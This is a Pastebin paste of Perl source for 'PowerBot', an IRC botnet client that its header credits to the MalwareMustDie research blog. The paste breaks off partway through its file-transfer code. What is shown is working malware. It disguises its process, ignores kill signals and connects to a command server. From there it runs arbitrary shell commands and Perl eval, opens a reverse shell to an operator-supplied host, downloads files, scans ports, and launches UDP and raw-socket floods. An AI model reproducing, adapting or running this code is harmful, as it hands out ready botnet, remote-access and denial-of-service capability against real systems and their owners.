Advertisement
TP2K1

PowerBot Perl IRCBot

Jun 23rd, 2015
796
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.11 KB | None | 0 0
  1. # Perl PowerBot IRC Bot, with functions of:
  2. # Hacked the server important dirs (removal),
  3. # UDP DoS, PortScanner, File Downloader, Shell Backdoor(backconnect), IRC attacks,
  4. # Bot code is snagged by MalwareMustDie,
  5. #Case: http://blog.malwaremustdie.org/2014/06/a-journey-to-abused-ftp-sites-story-of.html
  6.  
  7. #!/usr/bin/perl
  8. my @mast3rs = ("R");
  9.  
  10. my @hostauth = ("x");
  11. my @admchan=("#x");
  12.  
  13. my @server = ("myircd.wha.la");
  14. $servidor= $server[rand scalar @server] unless $servidor;
  15.  
  16.  
  17. my $xeqt = "!";
  18. my $homedir = "/tmp";
  19. my $shellaccess = 1;
  20. my $xstats = 1;
  21. my $pacotes = 1;
  22. my $linas_max = 5;
  23. my $sleep = 6;
  24. my $portime = 4;
  25.  
  26. my @fakeps = ("ps x");
  27.  
  28. my @nickname = ("LINUX");
  29.  
  30. my @xident = ("KAST");
  31. my @xname = (`uname -a`);
  32.  
  33. #################
  34. # Random Ports
  35. #################
  36. my @rports = ("3303");
  37.  
  38. my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
  39. "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
  40. "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
  41. "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
  42. "\001Snak for Macintosh 4.9.8 English\001",
  43. "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
  44. "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
  45. "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
  46. "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
  47. "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
  48. "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
  49. "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
  50. "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
  51. "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
  52. "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
  53. "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
  54. "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
  55. "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
  56. "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
  57. "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
  58. "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
  59. "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
  60. "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1ツ?9] : Keep it to yourself!\001",
  61. "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
  62. "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
  63. "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
  64. "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
  65. "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
  66.  
  67. # Default quick scan ports
  68. my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
  69.  
  70. # xeQt
  71.  
  72. #my $nick = "Power";
  73. my $nick = $nickname[rand scalar @nickname];
  74. my $realname = $xname[rand scalar @xname];
  75. my $ircname = $xident[rand scalar @xident];
  76. my $porta = $rports[rand scalar @rports];
  77. my $xproc = $fakeps[rand scalar @fakeps];
  78. my $Mrx = $Mrx[rand scalar @Mrx];
  79. my $version = 'PowerBots (C) GohacK';
  80.  
  81. $SIG{'INT'} = 'IGNORE';
  82. $SIG{'HUP'} = 'IGNORE';
  83. $SIG{'TERM'} = 'IGNORE';
  84. $SIG{'CHLD'} = 'IGNORE';
  85. $SIG{'PS'} = 'IGNORE';
  86.  
  87. use IO::Socket;
  88. use Socket;
  89. use IO::Select;
  90. chdir("$homedir");
  91. $servidor="$ARGV[0]" if $ARGV[0];
  92. $0="$xproc"."\0";
  93. my $pid = fork;
  94. exit if $pid;
  95. die "[x] -> Cannot fork into background: $!" unless defined($pid);
  96. my %irc_servers;
  97. my %DCC;
  98. my $dcc_sel = new IO::Select->new();
  99.  
  100. sub getnick {
  101. return "$nickname[rand scalar @nickname]".int(rand(20000));
  102. }
  103.  
  104. sub getstore ($$)
  105. {
  106. my $url = shift;
  107. my $file = shift;
  108.  
  109. $http_stream_out = 1;
  110. open(GET_OUTFILE, "> $file");
  111. %http_loop_check = ();
  112. _get($url);
  113. close GET_OUTFILE;
  114. return $main::http_get_result;
  115. }
  116. sub _get
  117. {
  118. my $url = shift;
  119. my $proxy = "";
  120. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  121. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  122. my $host = $1;
  123. my $port = $2 || 80;
  124. my $path = $3;
  125. $path = "/" unless defined($path);
  126. return _trivial_http_get($host, $port, $path);
  127. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  128. my $host = $1;
  129. my $port = $2;
  130. my $path = $url;
  131. return _trivial_http_get($host, $port, $path);
  132. } else {
  133. return undef;
  134. }
  135. }
  136. sub _trivial_http_get
  137. {
  138. my($host, $port, $path) = @_;
  139. my($AGENT, $VERSION, $p);
  140. #print "HOST=$host, PORT=$port, PATH=$path\n";
  141.  
  142. $AGENT = "get-minimal";
  143. $VERSION = "20000118";
  144.  
  145. $path =~ s/ /%20/g;
  146.  
  147. require IO::Socket;
  148. local($^W) = 0;
  149. my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 60) || return;
  150.  
  151. $sock->autoflush;
  152. my $netloc = $host;
  153. $netloc .= ":$port" if $port != 80;
  154. my $request = "GET $path HTTP/1.0\015\012"
  155. . "Host: $netloc\015\012"
  156. . "User-Agent: $AGENT/$VERSION/u\015\012";
  157. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  158. $request .= "\015\012";
  159. print $sock $request;
  160. my $buf = "";
  161. my $n;
  162. my $b1 = "";
  163. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  164. if ($b1 eq "") {
  165. $b1 = $buf;
  166. $buf =~ s/.+?\015?\012\015?\012//s;
  167. }
  168. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  169. }
  170. return undef unless defined($n);
  171. $main::http_get_result = 200;
  172. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  173. $main::http_get_result = $1;
  174. # print "CODE=$main::http_get_result\n$b1\n";
  175. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  176. my $url = $1;
  177. return undef if $http_loop_check{$url}++;
  178. return _get($url);
  179. }
  180. return undef unless $main::http_get_result =~ /^2/;
  181. }
  182. return $buf;
  183. }
  184. $sel_cliente = IO::Select->new();
  185. sub sendraw {
  186. if ($#_ == '1') {
  187. my $socket = $_[0];
  188. print $socket "$_[1]\n";
  189. } else {
  190. print $IRC_cur_socket "$_[0]\n";
  191. }
  192. }
  193. sub conectar {
  194. my $meunick = $_[0];
  195. my $servidor_con = $_[1];
  196. my $porta_con = $_[2];
  197. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  198. if (defined($IRC_socket)) {
  199. $IRC_cur_socket = $IRC_socket;
  200. $IRC_socket->autoflush(1);
  201. $sel_cliente->add($IRC_socket);
  202. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  203. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  204. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  205. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  206. nick("$meunick");
  207. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  208. sleep 2;
  209. }
  210. }
  211. my $line_temp;
  212. while( 1 ) {
  213. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  214. delete($irc_servers{''}) if (defined($irc_servers{''}));
  215. &DCC::connections;
  216. my @ready = $sel_cliente->can_read(0.6);
  217. next unless(@ready);
  218. foreach $fh (@ready) {
  219. $IRC_cur_socket = $fh;
  220. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  221. $nread = sysread($fh, $msg, 4096);
  222. if ($nread == 0) {
  223. $sel_cliente->remove($fh);
  224. $fh->close;
  225. delete($irc_servers{$fh});
  226. }
  227. @lines = split (/\n/, $msg);
  228. for(my $c=0; $c<= $#lines; $c++) {
  229. $line = $lines[$c];
  230. $line=$line_temp.$line if ($line_temp);
  231. $line_temp='';
  232. $line =~ s/\r$//;
  233. unless ($c == $#lines) {
  234. parse("$line");
  235. } else {
  236. if ($#lines == 0) {
  237. parse("$line");
  238. } elsif ($lines[$c] =~ /\r$/) {
  239. parse("$line");
  240. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  241. parse("$line");
  242. } else {
  243. $line_temp = $line;
  244. }
  245. }
  246. }
  247. }
  248. }
  249.  
  250. sub parse {
  251. my $servarg = shift;
  252. if ($servarg =~ /^PING \:(.*)/) {
  253. sendraw("PONG :$1");
  254. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  255. my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
  256. if ($args =~ /^\001VERSION\001$/) {
  257. notice("$pn", "".$Mrx."");
  258. }
  259. elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  260. notice("$pn", "\001PONG\001");
  261. }
  262. if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {
  263. if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {
  264. if ($onde eq "$meunick"){
  265. shell("$pn", "$args");
  266. }
  267. if ($args =~ /^!(.*)/){
  268. ircase("$pn","$chan","$1");
  269. }
  270. if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
  271. my $natrix = $1;
  272. my $arg = $2;
  273. if ($arg =~ /^\!(.*)/) {
  274. ircase("$pn","$onde","$1");
  275. } elsif ($arg =~ /^\@(.*)/) {
  276. $ondep = $onde;
  277. $ondep = $pn if $onde eq $meunick;
  278. bfunc("$ondep","$1");
  279. } else {
  280. shell("$onde", "$arg");
  281. }
  282. }
  283. }
  284. }
  285. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  286. if (lc($1) eq lc($meunick)) {
  287. $meunick=$4;
  288. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  289. }
  290. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  291. $meunick = getnick();
  292. nick("".$meunick."-");
  293. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  294. $meunick = $2;
  295. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  296. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  297. foreach my $canal (@admchan){
  298. sendraw("JOIN $canal muietie");
  299. }
  300. }
  301. }
  302. sub bfunc {
  303. my $printl = $_[0];
  304. my $funcarg = $_[1];
  305. if (my $pid = fork) {
  306. waitpid($pid, 0);
  307. } else {
  308. if (fork)
  309. {
  310. exit;
  311. }
  312. else
  313. {
  314. # Quick scan
  315. if ($funcarg =~ /^ps (.*)/) {
  316. my $hostip="$1";
  317. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
  318. my (@aberta, %porta_banner);
  319. foreach my $porta (@portas) {
  320. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  321. if ($scansock) {
  322. push (@aberta, $porta);
  323. $scansock->close;
  324. sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  325. }
  326. }
  327. if (@aberta) {
  328. sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
  329. } else {
  330. sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
  331. }
  332. }
  333. # NMAP, lol
  334. elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
  335. {
  336. my $hostname="$1";
  337. my $portstart = "$2";
  338. my $portend = "$3";
  339. my (@abertas, %porta_banner);
  340. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
  341. foreach my $porta ($portstart..$portend)
  342. {
  343. my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  344. if ($scansock) {
  345. push (@abertas, $porta);
  346. $scansock->close;
  347. if ($xstats)
  348. {
  349. sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  350. }
  351. }
  352. }
  353. if (@abertas) {
  354. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
  355. } else {
  356. sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
  357. }
  358. }
  359. # Remove
  360. elsif ($funcarg =~ /^rm/)
  361. {
  362. system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
  363. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
  364. }
  365. # Version
  366. elsif ($funcarg =~ /^version/)
  367. {
  368. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
  369. }
  370. # Download
  371. elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
  372. {
  373. getstore("$1", "$2");
  374. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
  375. }
  376. # Udp
  377. elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  378. return unless $pacotes;
  379. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  380. my $alvo=inet_aton("$1");
  381. my $porta = "$2";
  382. my $tempo = "$3";
  383. my $pacote;
  384. my $pacotese;
  385. my $fim = time + $tempo;
  386. my $pacota = 1;
  387. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
  388. while (($pacota == "1") && ($pacotes == "1")) {
  389. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  390. $pacote=$rand x $rand x $rand;
  391. $porta = int(rand 65000) +1 if ($porta == "0");
  392. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  393. }
  394. if ($xstats)
  395. {
  396. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
  397. }
  398. }
  399.  
  400. # Backconnect
  401. elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  402. my $host = "$1";
  403. my $porta = "$2";
  404. my $proto = getprotobyname('tcp');
  405. my $iaddr = inet_aton($host);
  406. my $paddr = sockaddr_in($porta, $iaddr);
  407. my $shell = "/bin/sh -i";
  408. if ($^O eq "MSWin32") {
  409. $shell = "cmd.exe";
  410. }
  411. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  412. connect(SOCKET, $paddr) or die "connect: $!";
  413. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
  414. open(STDIN, ">&SOCKET");
  415. open(STDOUT, ">&SOCKET");
  416. open(STDERR, ">&SOCKET");
  417. system("$shell");
  418. system("cd /tmp/.mrx");
  419. close(STDIN);
  420. close(STDOUT);
  421. close(STDERR);
  422. }
  423. exit;
  424. }
  425. }
  426. }
  427.  
  428. sub ircase {
  429. my ($kem, $printl, $case) = @_;
  430.  
  431. if ($case =~ /^join (.*)/) {
  432. j("$1");
  433. }
  434. elsif ($case =~ /^part (.*)/) {
  435. p("$1");
  436. }
  437. elsif ($case =~ /^rejoin\s+(.*)/) {
  438. my $chan = $1;
  439. if ($chan =~ /^(\d+) (.*)/) {
  440. for (my $ca = 1; $ca <= $1; $ca++ ) {
  441. p("$2");
  442. j("$2");
  443. }
  444. } else {
  445. p("$chan");
  446. j("$chan");
  447. }
  448. }
  449. elsif ($case =~ /^op/) {
  450. op("$printl", "$kem") if $case eq "op";
  451. my $oarg = substr($case, 3);
  452. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  453. }
  454. elsif ($case =~ /^deop/) {
  455. deop("$printl", "$kem") if $case eq "deop";
  456. my $oarg = substr($case, 5);
  457. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  458. }
  459. elsif ($case =~ /^voice/) {
  460. voice("$printl", "$kem") if $case eq "voice";
  461. $oarg = substr($case, 6);
  462. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  463. }
  464. elsif ($case =~ /^devoice/) {
  465. devoice("$printl", "$kem") if $case eq "devoice";
  466. $oarg = substr($case, 8);
  467. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  468. }
  469. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  470. msg("$1", "$2");
  471. }
  472. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  473. for (my $cf = 1; $cf <= $1; $cf++) {
  474. msg("$2", "$3");
  475. }
  476. }
  477. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  478. for (my $cf = 1; $cf <= $1; $cf++) {
  479. ctcp("$2", "$3");
  480. }
  481. }
  482. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  483. ctcp("$1", "$2");
  484. }
  485. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  486. invite("$1", "$2");
  487. }
  488. elsif ($case =~ /^nick (.*)/) {
  489. nick("$1");
  490. }
  491. elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
  492. conectar("$2", "$1", 6667);
  493. }
  494. elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  495. DCC::SEND("$1", "$2");
  496. }
  497. elsif ($case =~ /^raw (.*)/) {
  498. sendraw("$1");
  499. }
  500. elsif ($case =~ /^eval (.*)/) {
  501. eval "$1";
  502. }
  503. elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
  504. sleep int(rand($2));
  505. j("$1");
  506. }
  507. elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
  508. sleep int(rand($2));
  509. p("$1");
  510. }
  511. elsif ($case =~ /^quit/) {
  512. quit();
  513. }
  514. elsif ($case =~ /^rand/) {
  515. my $novonick = getnick();
  516. nick("$novonick");
  517. }
  518. elsif ($case =~ /^stat (.*)/) {
  519. if ($1 eq "on") {
  520. $xstats = 1;
  521. msg("$printl", "Satus enabled");
  522. } elsif ($1 eq "off") {
  523. $xstats = 0;
  524. msg("$printl", "Status disable");
  525. }
  526. }
  527. elsif ($case =~ /^bang (.*)/) {
  528. if ($1 eq "on") {
  529. $pacotes = 1;
  530. msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
  531. } elsif ($1 eq "off") {
  532. $pacotes = 0;
  533. msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
  534. }
  535. }
  536. }
  537. sub shell {
  538. return unless $shellaccess;
  539. my $printl=$_[0];
  540. my $comando=$_[1];
  541. if ($comando =~ /cd (.*)/) {
  542. chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
  543. return;
  544. }
  545. elsif ($pid = fork) {
  546. waitpid($pid, 0);
  547. } else {
  548. if (fork) {
  549. exit;
  550. } else {
  551. my @resp=`$comando 2>&1 3>&1`;
  552. my $c=0;
  553. foreach my $linha (@resp) {
  554. $c++;
  555. chop $linha;
  556. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  557. if ($c >= "$linas_max") {
  558. $c=0;
  559. sleep $sleep;
  560. }
  561. }
  562. exit;
  563. }
  564. }
  565. }
  566.  
  567. sub attacker {
  568. my $iaddr = inet_aton($_[0]);
  569. my $msg = 'B' x $_[1];
  570. my $ftime = $_[2];
  571. my $cp = 0;
  572. my (%pacotes);
  573. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  574.  
  575. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  576. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  577. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  578. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  579. return(undef) if $cp == 4;
  580. my $itime = time;
  581. my ($cur_time);
  582. while ( 1 ) {
  583. for (my $porta = 1; $porta <= 65535; $porta++) {
  584. $cur_time = time - $itime;
  585. last if $cur_time >= $ftime;
  586. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  587. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  588. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  589. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  590. for (my $pc = 3; $pc <= 255;$pc++) {
  591. next if $pc == 6;
  592. $cur_time = time - $itime;
  593. last if $cur_time >= $ftime;
  594. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  595. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  596. }
  597. }
  598. last if $cur_time >= $ftime;
  599. }
  600. return($cur_time, %pacotes);
  601. }
  602.  
  603. sub action {
  604. return unless $#_ == 1;
  605. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  606. }
  607. sub ctcp {
  608. return unless $#_ == 1;
  609. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  610. }
  611. sub msg {
  612. return unless $#_ == 1;
  613. sendraw("PRIVMSG $_[0] :$_[1]");
  614. }
  615. sub notice {
  616. return unless $#_ == 1;
  617. sendraw("NOTICE $_[0] :$_[1]");
  618. }
  619. sub op {
  620. return unless $#_ == 1;
  621. sendraw("MODE $_[0] +o $_[1]");
  622. }
  623. sub deop {
  624. return unless $#_ == 1;
  625. sendraw("MODE $_[0] -o $_[1]");
  626. }
  627. sub hop {
  628. return unless $#_ == 1;
  629. sendraw("MODE $_[0] +h $_[1]");
  630. }
  631. sub dehop {
  632. return unless $#_ == 1;
  633. sendraw("MODE $_[0] +h $_[1]");
  634. }
  635. sub voice {
  636. return unless $#_ == 1;
  637. sendraw("MODE $_[0] +v $_[1]");
  638. }
  639. sub devoice {
  640. return unless $#_ == 1;
  641. sendraw("MODE $_[0] -v $_[1]");
  642. }
  643. sub ban {
  644. return unless $#_ == 1;
  645. sendraw("MODE $_[0] +b $_[1]");
  646. }
  647. sub unban {
  648. return unless $#_ == 1;
  649. sendraw("MODE $_[0] -b $_[1]");
  650. }
  651. sub kick {
  652. return unless $#_ == 1;
  653. sendraw("KICK $_[0] $_[1] :$_[2]");
  654. }
  655. sub modo {
  656. return unless $#_ == 0;
  657. sendraw("MODE $_[0] $_[1]");
  658. }
  659. sub mode { modo(@_); }
  660. sub j { &join(@_); }
  661. sub join {
  662. return unless $#_ == 0;
  663. sendraw("JOIN $_[0]");
  664. }
  665. sub p { part(@_); }
  666. sub part {sendraw("PART $_[0]");}
  667. sub nick {
  668. return unless $#_ == 0;
  669. sendraw("NICK $_[0]");
  670. }
  671. sub invite {
  672. return unless $#_ == 1;
  673. sendraw("INVITE $_[1] $_[0]");
  674. }
  675. sub topico {
  676. return unless $#_ == 1;
  677. sendraw("TOPIC $_[0] $_[1]");
  678. }
  679. sub topic { topico(@_); }
  680. sub whois {
  681. return unless $#_ == 0;
  682. sendraw("WHOIS $_[0]");
  683. }
  684. sub who {
  685. return unless $#_ == 0;
  686. sendraw("WHO $_[0]");
  687. }
  688. sub names {
  689. return unless $#_ == 0;
  690. sendraw("NAMES $_[0]");
  691. }
  692. sub away {
  693. sendraw("AWAY $_[0]");
  694. }
  695. sub back { away(); }
  696. sub quit {
  697. sendraw("QUIT :$_[0]");
  698. exit;
  699. }
  700.  
  701. package DCC;
  702. sub connections {
  703. my @ready = $dcc_sel->can_read(1);
  704. # return unless (@ready);
  705. foreach my $fh (@ready) {
  706. my $dcctipo = $DCC{$fh}{tipo};
  707. my $arquivo = $DCC{$fh}{arquivo};
  708. my $bytes = $DCC{$fh}{bytes};
  709. my $cur_byte = $DCC{$fh}{curbyte};
  710. my $nick = $DCC{$fh}{nick};
  711. my $msg;
  712. my $nread = sysread($fh, $msg, 10240);
  713. if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  714. $DCC{$fh}{status} = "Cancelado";
  715. $DCC{$fh}{ftime} = time;
  716. $dcc_sel->remove($fh);
  717. $fh->close;
  718. next;
  719. }
  720. if ($dcctipo eq "get") {
  721. $DCC{$fh}{curbyte} += length($msg);
  722.  
  723. my $cur_byte = $DCC{$fh}{curbyte};
  724.  
  725. open(FILE, ">> $arquivo");
  726. print FILE "$msg" if ($cur_byte <= $bytes);
  727. close(FILE);
  728.  
  729. my $packbyte = pack("N", $cur_byte);
  730. print $fh "$packbyte";
  731.  
  732. if ($bytes == $cur_byte) {
  733. $dcc_sel->remove($fh);
  734. $fh->close;
  735. $DCC{$fh}{status} = "Recebido";
  736. $DCC{$fh}{ftime} = time;
  737. next;
  738. }
  739. } elsif ($dcctipo eq "send") {
  740. my $send = $fh->accept;
  741. $send->autoflush(1);
  742. $dcc_sel->add($send);
  743. $dcc_sel->remove($fh);
  744. $DCC{$send}{tipo} = 'sendcon';
  745. $DCC{$send}{itime} = time;
  746. $DCC{$send}{nick} = $nick;
  747. $DCC{$send}{bytes} = $bytes;
  748. $DCC{$send}{curbyte} = 0;
  749. $DCC{$send}{arquivo} = $arquivo;
  750. $DCC{$send}{ip} = $send->peerhost;
  751. $DCC{$send}{porta} = $send->peerport;
  752. $DCC{$send}{status} = "Enviando";
  753. open(FILE, "< $arquivo");
  754. my $fbytes;
  755. read(FILE, $fbytes, 1024);
  756. print $send "$fbytes";
  757. close FILE;
  758. # delete($DCC{$fh});
  759. } elsif ($dcctipo eq 'sendcon') {
  760. my $bytes_sended = unpack("N", $msg);
  761. $DCC{$fh}{curbyte} = $bytes_sended;
  762. if ($bytes_sended == $bytes) {
  763. $fh->close;
  764. $dcc_sel->remove($fh);
  765. $DCC{$fh}{status} = "Enviado";
  766. $DCC{$fh}{ftime} = time;
  767. next;
  768. }
  769. open(SENDFILE, "< $arquivo");
  770. seek(SENDFILE, $bytes_sended, 0);
  771. my $send_bytes;
  772. read(SENDFILE, $send_bytes, 1024);
  773. print $fh "$send_bytes";
  774. close(SENDFILE);
  775. }
  776. }
  777. }
  778.  
  779. sub SEND {
  780. my ($nick, $arquivo) = @_;
  781. unless (-r "$arquivo") {
  782. return(0);
  783. }
  784. my $dccark = $arquivo;
  785. $dccark =~ s/[.*\/](\S+)/$1/;
  786. my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  787. my $longip = unpack("N",inet_aton($meuip));
  788. my @filestat = stat($arquivo);
  789. my $size_total=$filestat[7];
  790. if ($size_total == 0) {
  791. return(0);
  792. }
  793. my ($porta, $sendsock);
  794. do {
  795. $porta = int rand(64511);
  796. $porta += 1024;
  797. $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  798. } until $sendsock;
  799. $DCC{$sendsock}{tipo} = 'send';
  800. $DCC{$sendsock}{nick} = $nick;
  801. $DCC{$sendsock}{bytes} = $size_total;
  802. $DCC{$sendsock}{arquivo} = $arquivo;
  803. &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  804. }
  805. sub GET {
  806. my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  807. return(0) if (-e "$arquivo");
  808. if (open(FILE, "> $arquivo")) {
  809. close FILE;
  810. } else {
  811. return(0);
  812. }
  813. my $dccip=fixaddr($dcclongip);
